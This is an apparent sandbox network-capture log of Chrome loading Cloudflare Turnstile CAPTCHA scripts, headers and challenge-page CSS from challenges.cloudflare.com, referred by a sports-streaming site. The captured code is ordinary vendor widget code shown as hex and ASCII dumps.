2025-01-09 23:21:05 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 41 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2025-01-09 23:21:05 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 42 74 28 65 29 7c 7c 6a 74 28 65 2c 72 29 7c 7c 7a 74 28 65 2c 72 29 7c 7c 71 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return Bt(e)\|\|jt(e,r)\|\|zt(e,r)\|\|qt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2025-01-09 23:21:05 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 58 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Xt=300020;var De=300030;var Ve=300031;var j;(fu
2025-01-09 23:21:05 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
2025-01-09 23:21:05 UTC	1369	IN	Data Raw: 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 4b 74 3d 33 30 30 2c 24 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 Data Ascii: ecute"],e)}var Kt=300,$t=10;function yt(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clea
2025-01-09 23:21:05 UTC	1369	IN	Data Raw: 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 75 2c 67 3d 4d 28 4e 72 2c 28 75 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 75 21 3d 3d 76 6f 69 64 20 30 3f 75 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 68 2c 6c 3d 4d 28 6b 72 2c 28 68 3d 28 6e 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 6e 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 Data Ascii: innerWidth<400,c=e.state===Ie.FAILURE_FEEDBACK\|\|e.state===Ie.FAILURE_HAVING_TROUBLES,u,g=M(Nr,(u=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&u!==void 0?u:"nonexistent"),h,l=M(kr,(h=(n=e.displayLanguage)===null\|\|n===void 0?void
2025-01-09 23:21:05 UTC	1369	IN	Data Raw: 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 53 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 53 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 53 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 28 68 2c 75 29 3b 76 61 72 20 6c 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 68 29 2c 70 3d 6e 65 77 20 6c 3b 72 65 74 75 72 6e 20 67 26 26 5a 28 70 2c 67 2e 70 72 6f 74 6f 74 79 70 65 29 2c 70 7d 2c 53 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 72 65 74 75 72 6e 20 63 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 Data Ascii: urn!1}}function Se(e,r,n){return je()?Se=Reflect.construct:Se=function(c,u,g){var h=[null];h.push.apply(h,u);var l=Function.bind.apply(c,h),p=new l;return g&&Z(p,g.prototype),p},Se.apply(null,arguments)}function ce(e){return ce=Object.setPrototypeOf?Objec
2025-01-09 23:21:05 UTC	1369	IN	Data Raw: 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 73 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 48 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 48 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 51 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 48 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 76 61 72 20 65 3d 2f 5c 2f 74 75 72 6e 73 74 69 6c 65 5c 2f 76 30 28 5c 2f 2e 2a 29 3f 5c 2f 61 70 69 5c 2e 6a 73 2f 2c 72 3d 64 6f 63 Data Ascii: ");throw new sr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function ze(e){return e.startsWith(He)?e.substring(He.length):null}function Q(e){return"".concat(He).concat(e)}function Rt(){var e=/\/turnstile\/v0(\/.*)?\/api\.js/,r=doc
2025-01-09 23:21:05 UTC	1369	IN	Data Raw: 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 70 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 70 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 3b Data Ascii: rmOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verticalAlign="middle",p.style.width="100vw",p.style.height="100vh";

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49779	104.18.94.41	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:05 UTC	803	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/df0n5/0x4AAAAAAA1wI9U09BCnh_d1/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.ustreamhandball.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:21:05 UTC	1362	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 23:21:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26899 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2025-01-09 23:21:05 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 66 66 38 32 39 36 30 62 63 34 37 38 63 36 66 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8ff82960bc478c6f-EWRalt-svc: h3=":443"; ma=86400
2025-01-09 23:21:05 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2025-01-09 23:21:05 UTC	1369	IN	Data Raw: 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 Data Ascii: dding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiase
2025-01-09 23:21:05 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 Data Ascii: stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#
2025-01-09 23:21:05 UTC	1369	IN	Data Raw: 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 Data Ascii: e-dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dar
2025-01-09 23:21:05 UTC	1369	IN	Data Raw: 32 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 Data Ascii: 20}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-h
2025-01-09 23:21:05 UTC	1369	IN	Data Raw: 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 Data Ascii: ;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de1
2025-01-09 23:21:05 UTC	1369	IN	Data Raw: 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d Data Ascii: ay:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-com
2025-01-09 23:21:05 UTC	1369	IN	Data Raw: 69 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 Data Ascii: i{left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:fle
